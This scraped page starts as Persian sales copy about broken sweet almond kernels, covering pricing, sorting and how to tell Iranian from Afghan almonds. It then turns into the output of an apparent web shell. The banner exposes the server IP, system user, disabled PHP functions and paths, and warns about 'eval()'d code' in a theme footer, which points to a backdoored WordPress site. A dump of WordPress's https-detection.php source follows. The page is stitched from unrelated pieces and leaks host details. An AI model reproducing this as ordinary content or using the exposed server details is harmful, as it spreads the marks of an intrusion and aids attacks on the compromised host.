مغز بادام شیرین شکسته ایرانی جهت تولید محصولات غذایی مختلفی کاربرد دارد. قنادی ها برای تولید انواع شیرینی، کیک، شکلات و بستنی، مغز بادام شیرین را سفید کرده و پودر می کنند. کارگاههای روغن گیری و کارخانه های تولید کره های گیاهی بادام سفید شده و مغز بادام شکسته را جهت تولید کره بادام درختی، تولید روغن بادام شیرین استفاده می نمایند.
مغز بادام شیرین شکسته ایرانی برای همکارانی که مغز بادام را پودر خواهند کرد و یا روغن گیری می نمایند بسیار مناسب است. چون قیمت آن بسیار پایین تر از مغز بادام سالم است.
قیمت مغز بادام لپه(خرد شده) تلخ و شیرین
مغز بادام لپه شیرین و تلخ در بازار با نرخ های متفاوت با توجه به شرایط زیر قیمت گذاری می شود:
با توجه به تازه گی و کهنگی مغز لپه
میزان شکستگی و پودر بودن
سفید شده یا با پوست بودن
میزان خرید مشتری
محصول ایران یا افغانی است
مغز بادام ایرانی به دلیل طعم و مزه خوبی که دارد و درصد بالای روغن آن گرانتر از نمونه افغانی است.
شرایط تولید و فروش مغز بادام شیرین شکسته
زمانی که بادام سنگی شکسته می شود، مغز های سالم به:
بادام سالم درشت
بادام سالم متوسط
بادام سالم ریز سورت می شود و
زیر سرندی مغز ها همان مغز بادام لپه یا سکشته است. ممکن است داخل این مغز ها پوسته های شکسته بادام و یا سنگ ریزه هایی موجود باشد که بوجار شده و از آن جدا می شود.
همچنین بادام های شکسته درشت ر سورت شده جهت روغن گیری به فروش می رسد
مغز هایی که درصد پودر بیشتری دارند برای مصارف قنادی و بستنی بسته بندی می گردد.
مغز بادام شکسته مرغوب
اما چگونه تشخیص بدهیم که مغز بادم لپه ای که می خریم ایرانی است نه افغانی و یا مغز بادام تلخ شیرین شده؟
حتما مزه بادام را تست کنید مغز بادام درختی ایرانی شیرینی بیشتری و دارد و کاملا به مزاج خوش می آید.
دقت کنید مغزها به زردی بزند. هر چه مغز ها تیره تر باشد بیشتر احتمال دارد افغانی بوده باشد.
مغز بادام ایرانی نسبت به نمونه آمریکایی ضخامت کمتری و نسبت به بادام تلخ و مغز بادام شیرین افغانی تپل تر به نظر می رسد.
مغز بادام تلخ شیرین شده بیشتر به بی طعمی می زند در حالی که مغز بادام شیرین، طعم شیرینی مشخصی دارد.
Server IP : 37.187.155.34 / Your IP : 18.117.71.21 Web Server : LiteSpeed System : Linux ps4.arad360.com 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64 User : oilse103 ( 1565) PHP Version : 7.4.33 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : OFF | cURL : ON | WGET : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 329
OFF | Perl : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 335
OFF | Python : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 341
OFF Directory (0755) : /home/oilse103/domains/oilseeda.ir/public_html/wp-admin/../wp-includes/
Current File : /home/oilse103/domains/oilseeda.ir/public_html/wp-admin/../wp-includes/https-detection.php
<?php
/**
* HTTPS detection functions.
*
* @package WordPress
* @since 5.7.0
*/
/**
* Checks whether the website is using HTTPS.
*
* This is based on whether both the home and site URL are using HTTPS.
*
* @since 5.7.0
* @see wp_is_home_url_using_https()
* @see wp_is_site_url_using_https()
*
* @return bool True if using HTTPS, false otherwise.
*/
function wp_is_using_https() {
if ( ! wp_is_home_url_using_https() ) {
return false;
}
return wp_is_site_url_using_https();
}
/**
* Checks whether the current site URL is using HTTPS.
*
* @since 5.7.0
* @see home_url()
*
* @return bool True if using HTTPS, false otherwise.
*/
function wp_is_home_url_using_https() {
return 'https' === wp_parse_url( home_url(), PHP_URL_SCHEME );
}
/**
* Checks whether the current site's URL where WordPress is stored is using HTTPS.
*
* This checks the URL where WordPress application files (e.g. wp-blog-header.php or the wp-admin/ folder)
* are accessible.
*
* @since 5.7.0
* @see site_url()
*
* @return bool True if using HTTPS, false otherwise.
*/
function wp_is_site_url_using_https() {
/*
* Use direct option access for 'siteurl' and manually run the 'site_url'
* filter because `site_url()` will adjust the scheme based on what the
* current request is using.
*/
/** This filter is documented in wp-includes/link-template.php */
$site_url = apply_filters( 'site_url', get_option( 'siteurl' ), '', null, null );
return 'https' === wp_parse_url( $site_url, PHP_URL_SCHEME );
}
/**
* Checks whether HTTPS is supported for the server and domain.
*
* @since 5.7.0
*
* @return bool True if HTTPS is supported, false otherwise.
*/
function wp_is_https_supported() {
$https_detection_errors = get_option( 'https_detection_errors' );
// If option has never been set by the Cron hook before, run it on-the-fly as fallback.
if ( false === $https_detection_errors ) {
wp_update_https_detection_errors();
$https_detection_errors = get_option( 'https_detection_errors' );
}
// If there are no detection errors, HTTPS is supported.
return empty( $https_detection_errors );
}
/**
* Runs a remote HTTPS request to detect whether HTTPS supported, and stores potential errors.
*
* This internal function is called by a regular Cron hook to ensure HTTPS support is detected and maintained.
*
* @since 6.4.0
* @access private
*/
function wp_get_https_detection_errors() {
/**
* Short-circuits the process of detecting errors related to HTTPS support.
*
* Returning a `WP_Error` from the filter will effectively short-circuit the default logic of trying a remote
* request to the site over HTTPS, storing the errors array from the returned `WP_Error` instead.
*
* @since 6.4.0
*
* @param null|WP_Error $pre Error object to short-circuit detection,
* or null to continue with the default behavior.
* @return null|WP_Error Error object if HTTPS detection errors are found, null otherwise.
*/
$support_errors = apply_filters( 'pre_wp_get_https_detection_errors', null );
if ( is_wp_error( $support_errors ) ) {
return $support_errors->errors;
}
$support_errors = new WP_Error();
$response = wp_remote_request(
home_url( '/', 'https' ),
array(
'headers' => array(
'Cache-Control' => 'no-cache',
),
'sslverify' => true,
)
);
if ( is_wp_error( $response ) ) {
$unverified_response = wp_remote_request(
home_url( '/', 'https' ),
array(
'headers' => array(
'Cache-Control' => 'no-cache',
),
'sslverify' => false,
)
);
if ( is_wp_error( $unverified_response ) ) {
$support_errors->add(
'https_request_failed',
__( 'HTTPS request failed.' )
);
} else {
$support_errors->add(
'ssl_verification_failed',
__( 'SSL verification failed.' )
);
}
$response = $unverified_response;
}
if ( ! is_wp_error( $response ) ) {
if ( 200 !== wp_remote_retrieve_response_code( $response ) ) {
$support_errors->add( 'bad_response_code', wp_remote_retrieve_response_message( $response ) );
} elseif ( false === wp_is_local_html_output( wp_remote_retrieve_body( $response ) ) ) {
$support_errors->add( 'bad_response_source', __( 'It looks like the response did not come from this site.' ) );
}
}
return $support_errors->errors;
}
/**
* Checks whether a given HTML string is likely an output from this WordPress site.
*
* This function attempts to check for various common WordPress patterns whether they are included in the HTML string.
* Since any of these actions may be disabled through third-party code, this function may also return null to indicate
* that it was not possible to determine ownership.
*
* @since 5.7.0
* @access private
*
* @param string $html Full HTML output string, e.g. from a HTTP response.
* @return bool|null True/false for whether HTML was generated by this site, null if unable to determine.
*/
function wp_is_local_html_output( $html ) {
// 1. Check if HTML includes the site's Really Simple Discovery link.
if ( has_action( 'wp_head', 'rsd_link' ) ) {
$pattern = preg_replace( '#^https?:(?=//)#', '', esc_url( site_url( 'xmlrpc.php?rsd', 'rpc' ) ) ); // See rsd_link().
return str_contains( $html, $pattern );
}
// 2. Check if HTML includes the site's REST API link.
if ( has_action( 'wp_head', 'rest_output_link_wp_head' ) ) {
// Try both HTTPS and HTTP since the URL depends on context.
$pattern = preg_replace( '#^https?:(?=//)#', '', esc_url( get_rest_url() ) ); // See rest_output_link_wp_head().
return str_contains( $html, $pattern );
}
// Otherwise the result cannot be determined.
return null;
}